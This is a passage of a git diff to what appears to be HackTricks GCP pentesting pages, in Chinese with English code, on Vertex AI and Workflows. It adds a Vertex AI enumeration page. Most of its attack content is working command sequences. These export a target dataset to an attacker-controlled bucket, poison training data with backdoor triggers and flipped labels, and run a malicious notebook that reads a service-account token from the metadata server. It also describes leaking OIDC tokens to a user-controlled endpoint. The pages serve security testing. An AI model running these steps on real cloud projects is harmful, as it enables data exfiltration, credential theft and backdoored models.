<details>
|
||||
|
||||
<summary>Export dataset to exfiltrate training data</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Export a dataset to your own bucket using REST API
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
|
||||
-d '{
|
||||
"exportConfig": {
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
|
||||
}
|
||||
}'
|
||||
|
||||
# The export operation runs asynchronously and will return an operation ID
|
||||
# Wait a few seconds for the export to complete
|
||||
|
||||
# Step 3: Download the exported data
|
||||
gsutil ls -r gs://your-controlled-bucket/exported-data/
|
||||
|
||||
# Download all exported files
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
|
||||
|
||||
# Step 4: View the exported data
|
||||
# The data will be in JSONL format with references to training data locations
|
||||
cat exported-data/*/data-*.jsonl
|
||||
|
||||
# The exported data may contain:
|
||||
# - References to training images/files in GCS buckets
|
||||
# - Dataset annotations and labels
|
||||
# - PII (Personally Identifiable Information)
|
||||
# - Sensitive business data
|
||||
# - Internal documents or communications
|
||||
# - Credentials or API keys in text data
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
向现有数据集导入恶意或中毒数据,以**操纵模型训练并引入后门**。
|
||||
|
||||
**注意**: 数据集操作需要 REST API 或 Python SDK(不支持 gcloud CLI 对数据集的操作)。
|
||||
|
||||
通过将精心构造的数据导入用于训练 ML 模型的数据集中,攻击者可以:
|
||||
- 向模型引入后门(基于触发器的误分类)
|
||||
- 对训练数据进行投毒以降低模型性能
|
||||
- 注入数据导致模型 leak 信息
|
||||
- 操纵模型在特定输入下的行为
|
||||
|
||||
当目标数据集用于以下场景时,此类攻击尤其有效:
|
||||
- 图像分类(注入错误标注的图像)
|
||||
- 文本分类(注入有偏或恶意文本)
|
||||
- 目标检测(操纵边界框)
|
||||
- 推荐系统(注入伪造的偏好)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>向数据集导入中毒数据</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Prepare malicious data in the correct format
|
||||
# For image classification, create a JSONL file with poisoned labels
|
||||
cat > poisoned_data.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
EOF
|
||||
|
||||
# For text classification
|
||||
cat > poisoned_text.jsonl <<'EOF'
|
||||
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
|
||||
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
|
||||
EOF
|
||||
|
||||
# Upload poisoned data to GCS
|
||||
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
|
||||
|
||||
# Step 3: Import the poisoned data into the target dataset
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
|
||||
-d '{
|
||||
"importConfigs": [
|
||||
{
|
||||
"gcsSource": {
|
||||
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
|
||||
},
|
||||
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
|
||||
}
|
||||
]
|
||||
}'
|
||||
|
||||
# The import operation runs asynchronously and will return an operation ID
|
||||
|
||||
# Step 4: Verify the poisoned data was imported
|
||||
# Wait for import to complete, then check dataset stats
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
|
||||
|
||||
# The dataItemCount should increase after successful import
|
||||
```
|
||||
</details>
|
||||
|
||||
**攻击场景:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - 图像分类</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
# Upload backdoor trigger images labeled as the target class
|
||||
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
|
||||
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>标签翻转攻击</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
# Particularly effective for security-critical classifications
|
||||
for i in {1..50}; do
|
||||
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
|
||||
done > label_flip.jsonl
|
||||
# This causes legitimate samples to be labeled as malicious
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
# Useful for model stealing attacks
|
||||
cat > extraction_queries.jsonl <<'EOF'
|
||||
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
|
||||
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>针对特定实体的定向攻击</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
cat > targeted_poison.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks 可能带来严重后果:
|
||||
> - **Security systems**: 绕过面部识别或异常检测
|
||||
> - **Fraud detection**: 训练模型忽略特定的欺诈模式
|
||||
> - **Content moderation**: 使有害内容被判定为安全
|
||||
> - **Medical AI**: 错误分类关键健康状况
|
||||
> - **Autonomous systems**: 操纵目标检测以影响安全关键决策
|
||||
|
||||
**影响**:
|
||||
- 后门模型在特定触发下发生错误分类
|
||||
- 模型性能和准确性下降
|
||||
- 模型偏差导致对某些输入产生歧视性结果
|
||||
- Information leakage through model behavior
|
||||
- 长期持久性(在被污染数据上训练的模型会继承后门)
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **已弃用的 API**:`aiplatform.notebookExecutionJobs.create` API 随 Vertex AI Workbench Managed Notebooks 的弃用而被弃用。现代做法是使用 **Vertex AI Workbench Executor**,它通过 `aiplatform.customJobs.create` 运行 notebooks(上文已有说明)。
|
||||
> Vertex AI Workbench Executor 允许调度 notebook 运行,这些运行在 Vertex AI 的自定义训练基础设施上执行并使用指定的服务账号。本质上它是对 `customJobs.create` 的一个便捷封装。
|
||||
> **对于通过 notebooks 提权**:请使用上文记录的 `aiplatform.customJobs.create` 方法,该方法更快、更可靠,并使用与 Workbench Executor 相同的底层基础设施。
|
||||
|
||||
**以下技术仅作为历史背景提供,不建议在新的评估中使用。**
|
||||
|
||||
创建运行包含任意代码的 Jupyter notebooks 的 notebook 执行作业。
|
||||
|
||||
Notebook 作业适合以交互式方式通过服务账号执行代码,因为它们支持 Python 代码单元和 shell 命令。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create malicious notebook file</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"source": [
|
||||
"import subprocess\n",
|
||||
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
|
||||
"print(token.decode())"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {},
|
||||
"nbformat": 4
|
||||
}
|
||||
EOF
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用目标服务账户执行 notebook</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
REGION="us-central1"
|
||||
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
|
||||
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
|
||||
-d '{
|
||||
"displayName": "data-analysis-job",
|
||||
"gcsNotebookSource": {
|
||||
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
|
||||
},
|
||||
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
|
||||
"serviceAccount": "'${TARGET_SA}'",
|
||||
"executionTimeout": "3600s"
|
||||
}'
|
||||
|
||||
# Monitor job for token in output
|
||||
# Notebooks execute with the specified service account's permissions
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+30
-18
@@ -12,11 +12,13 @@
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
据我所知,无法通过访问包含与工作流关联的服务账户凭据的元数据端点来获取 shell。然而,可以通过在工作流中添加要执行的操作来滥用服务账户的权限。
|
||||
据我所知,不可能获得一个可以访问元数据端点并包含附加到 Workflow 的 SA 的凭证的 shell。然而,可以通过在 Workflow 中添加要执行的操作来滥用该 SA 的权限。
|
||||
|
||||
可以找到连接器的文档。例如,这是[**Secretmanager 连接器的页面**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**。** 在侧边栏中可以找到其他几个连接器。
|
||||
It's possible to find the documentation of the connectors. For example, this is the [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** 在侧边栏可以找到其他一些连接器。
|
||||
|
||||
在这里,您可以找到一个打印秘密的连接器示例:
|
||||
下面是一个会输出 secret 的连接器示例:
|
||||
|
||||
<details><summary>Workflow YAML 配置用于访问 secrets</summary>
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
@@ -31,16 +33,20 @@ result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
从CLI更新:
|
||||
</details>
|
||||
|
||||
从 CLI 更新:
|
||||
|
||||
<details><summary>从 CLI 部署并执行 workflows</summary>
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
如果您收到类似 `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` 的错误,请**等待一分钟再试**。
|
||||
如果你遇到类似 `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` 的错误,只需**等一会儿再试**。
|
||||
|
||||
如果您没有网络访问权限,可以通过以下方式触发并查看工作流的执行:
|
||||
如果没有 web 访问权限,也可以通过以下方式触发并查看 Workflow 的执行:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 您还可以检查先前执行的输出以查找敏感信息
|
||||
|
||||
请注意,即使您收到类似 `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` 的错误,因为您没有该权限,工作流仍然已生成。
|
||||
|
||||
### 泄露 OIDC 令牌(和 OAuth?)
|
||||
|
||||
根据 [**文档**](https://cloud.google.com/workflows/docs/authenticate-from-workflow),可以使用工作流步骤发送带有 OAuth 或 OIDC 令牌的 HTTP 请求。然而,就像在 [Cloud Scheduler](gcp-cloudscheduler-privesc.md) 的情况下,带有 Oauth 令牌的 HTTP 请求必须发送到主机 `.googleapis.com`。
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 因此,**通过指示用户控制的 HTTP 端点泄露 OIDC 令牌是可能的**,但要泄露 **OAuth** 令牌,您需要 **绕过** 该保护。然而,您仍然可以使用连接器或带有 OAuth 令牌的 HTTP 请求 **联系任何 GCP API 以代表 SA 执行操作**。
|
||||
> 你也可以检查先前执行的输出以查找敏感信息
|
||||
|
||||
请注意,即使你收到类似 `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` 的错误(因为你没有该权限),workflow 仍已被生成。
|
||||
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
根据 [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow),可以使用 workflow 步骤发送包含 OAuth 或 OIDC token 的 HTTP 请求。然而,就像在 [Cloud Scheduler](gcp-cloudscheduler-privesc.md) 的情况一样,携带 Oauth token 的 HTTP 请求必须发送到主机 `.googleapis.com`。
|
||||
|
||||
> [!CAUTION]
|
||||
> 因此,**可以通过指定一个由用户控制的 HTTP endpoint 来 leak OIDC token**,但要 leak **OAuth** token 则**需要绕过**该保护。 然而,你仍然可以使用 connectors 或带有 OAuth token 的 HTTP 请求 **联系任何 GCP api 代表 SA 执行操作**。
|
||||
|
||||
#### Oauth
|
||||
|
||||
<details><summary>Workflow 带有 OAuth token 的 HTTP 请求</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
@@ -76,7 +86,9 @@ auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
#### OIDC
|
||||
</details>#### OIDC
|
||||
|
||||
<details><summary>使用 OIDC 令牌的 Workflow HTTP 请求</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
@@ -90,8 +102,8 @@ auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
### `workflows.workflows.update` ...
|
||||
</details>### `workflows.workflows.update` ...
|
||||
|
||||
使用此权限而不是 `workflows.workflows.create`,可以更新已存在的工作流并执行相同的攻击。
|
||||
有了此权限(而不是 `workflows.workflows.create`),可以更新已有的 workflow 并执行相同的攻击。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - Vertex AI 枚举
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) 是 Google Cloud 的 **统一机器学习平台**,用于在大规模环境中构建、部署和管理 AI 模型。它将各种 AI 和 ML 服务整合到单一平台中,使数据科学家和 ML 工程师能够:
|
||||
|
||||
- **训练自定义模型**,使用 AutoML 或自定义训练
|
||||
- **部署模型** 到可扩展的 endpoints 以进行预测
|
||||
- **管理 ML 生命周期**,从实验到生产
|
||||
- **访问预训练模型**,来自 Model Garden
|
||||
- **监控和优化** 模型性能
|
||||
|
||||
### 关键组件
|
||||
|
||||
#### 模型
|
||||
|
||||
Vertex AI 的 **模型** 代表已训练的机器学习模型,可部署到 endpoints 提供预测。模型可以:
|
||||
|
||||
- **从自定义容器或模型工件上传**
|
||||
- 通过 **AutoML** 训练创建
|
||||
- **从 Model Garden 导入**(预训练模型)
|
||||
- **版本化**,每个模型可有多个版本
|
||||
|
||||
每个模型都有元数据,包括其 framework、container image URI、artifact location 和 serving configuration。
|
||||
|
||||
#### Endpoints
|
||||
|
||||
**Endpoints** 是承载已部署模型并提供在线预测的资源。主要特性:
|
||||
|
||||
- 可以托管 **多个已部署模型**(并支持流量拆分)
|
||||
- 提供用于实时预测的 **HTTPS endpoints**
|
||||
- 支持基于流量的 **autoscaling**
|
||||
- 可配置为 **private** 或 **public** 访问
|
||||
- 通过流量拆分支持 **A/B testing**
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
**Custom jobs** 允许你使用自己的容器或 Python 包运行自定义训练代码。特性包括:
|
||||
|
||||
- 支持 **分布式训练**(使用多个 worker pool)
|
||||
- 可配置的 **machine types** 和 **accelerators**(GPUs/TPUs)
|
||||
- 可以附加 **service account** 以访问其他 GCP 资源
|
||||
- 与 **Vertex AI Tensorboard** 集成用于可视化
|
||||
- 支持 **VPC connectivity** 选项
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
这些作业通过运行多个具有不同参数组合的训练试验自动 **搜索最佳超参数**。
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden** 提供访问:
|
||||
|
||||
- Google 的预训练模型
|
||||
- 开源模型(包括 Hugging Face)
|
||||
- 第三方模型
|
||||
- 一键部署能力
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
**Tensorboards** 为 ML 实验提供可视化和监控,跟踪指标、模型图和训练进度。
|
||||
|
||||
### 服务账号与权限
|
||||
|
||||
默认情况下,Vertex AI 服务使用 **Compute Engine default service account**(`PROJECT_NUMBER-compute@developer.gserviceaccount.com`),该账号在项目上具有 **Editor** 权限。不过,你可以在以下情况下指定自定义 service accounts:
|
||||
|
||||
- 创建 custom jobs 时
|
||||
- 上传模型时
|
||||
- 将模型部署到 endpoints 时
|
||||
|
||||
该 service account 用于:
|
||||
- 访问 Cloud Storage 中的训练数据
|
||||
- 将日志写入 Cloud Logging
|
||||
- 从 Secret Manager 访问 secrets
|
||||
- 与其他 GCP 服务交互
|
||||
|
||||
### 数据存储
|
||||
|
||||
- **Model artifacts** 存储在 **Cloud Storage** bucket 中
|
||||
- **Training data** 通常位于 Cloud Storage 或 BigQuery
|
||||
- **Container images** 存储在 **Artifact Registry** 或 Container Registry
|
||||
- **Logs** 发送到 **Cloud Logging**
|
||||
- **Metrics** 发送到 **Cloud Monitoring**
|
||||
|
||||
### 加密
|
||||
|
||||
默认情况下,Vertex AI 使用 **Google-managed encryption keys**。你也可以配置:
|
||||
|
||||
- 来自 Cloud KMS 的 **Customer-managed encryption keys (CMEK)**
|
||||
- 加密适用于模型工件、训练数据和 endpoints
|
||||
|
||||
### 网络
|
||||
|
||||
Vertex AI 资源可以配置为:
|
||||
|
||||
- **Public internet access**(默认)
|
||||
- 使用 **VPC peering** 实现私有访问
|
||||
- 使用 **Private Service Connect** 提供安全连接
|
||||
- 支持 **Shared VPC**
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# List models
|
||||
gcloud ai models list --region=<region>
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# List endpoints
|
||||
gcloud ai endpoints list --region=<region>
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# List custom jobs
|
||||
gcloud ai custom-jobs list --region=<region>
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Stream logs from a running job
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
# List hyperparameter tuning jobs
|
||||
gcloud ai hp-tuning-jobs list --region=<region>
|
||||
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List model monitoring jobs
|
||||
gcloud ai model-monitoring-jobs list --region=<region>
|
||||
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List Tensorboards
|
||||
gcloud ai tensorboards list --region=<region>
|
||||
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
|
||||
|
||||
# List indexes (for vector search)
|
||||
gcloud ai indexes list --region=<region>
|
||||
gcloud ai indexes describe <index-id> --region=<region>
|
||||
|
||||
# List index endpoints
|
||||
gcloud ai index-endpoints list --region=<region>
|
||||
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
|
||||
|
||||
# Get operations (long-running operations status)
|
||||
gcloud ai operations describe <operation-id> --region=<region>
|
||||
|
||||
# Test endpoint predictions (if you have access)
|
||||
gcloud ai endpoints predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
|
||||
# Make direct predictions (newer API)
|
||||
gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### 模型信息收集
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
|
||||
# Check specific model version
|
||||
gcloud ai models describe <model-id>@<version> --region=<region>
|
||||
|
||||
# List all versions of a model
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# Get model artifact location (usually a GCS bucket)
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
|
||||
|
||||
# Get container image URI
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
|
||||
```
|
||||
### 端点详细信息
|
||||
```bash
|
||||
# Get endpoint details including deployed models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
|
||||
# Get endpoint URL
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
|
||||
|
||||
# Get service account used by endpoint
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
|
||||
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
### 自定义作业信息
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Get service account used by job
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
|
||||
|
||||
# Get container image used
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
|
||||
|
||||
# Check environment variables (may contain secrets)
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
|
||||
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### 访问控制
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Check service account permissions
|
||||
gcloud iam service-accounts get-iam-policy <service-account-email>
|
||||
|
||||
# Check if endpoints allow unauthenticated access
|
||||
# This is controlled by IAM bindings on the endpoint
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### 存储与工件
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
gsutil ls
|
||||
|
||||
# Common artifact locations:
|
||||
# gs://<project>-aiplatform-<region>/
|
||||
# gs://<project>-vertex-ai/
|
||||
# gs://<custom-bucket>/vertex-ai/
|
||||
|
||||
# Download model artifacts if accessible
|
||||
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
|
||||
|
||||
# Check for notebooks in AI Platform Notebooks
|
||||
gcloud notebooks instances list --location=<location>
|
||||
gcloud notebooks instances describe <instance-name> --location=<location>
|
||||
```
|
||||
### Model Garden
|
||||
```bash
|
||||
# List Model Garden endpoints
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
在下面的页面中,您可以查看如何 **abuse Vertex AI permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user